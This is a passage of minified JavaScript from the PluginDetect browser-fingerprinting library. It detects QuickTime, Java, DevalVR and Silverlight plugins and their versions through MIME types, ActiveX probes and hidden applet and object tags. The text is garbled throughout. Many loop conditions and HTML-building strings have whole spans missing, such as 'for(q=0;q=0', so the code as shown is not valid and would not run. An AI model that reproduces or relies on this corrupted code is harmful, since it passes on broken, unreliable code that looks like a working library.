s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var 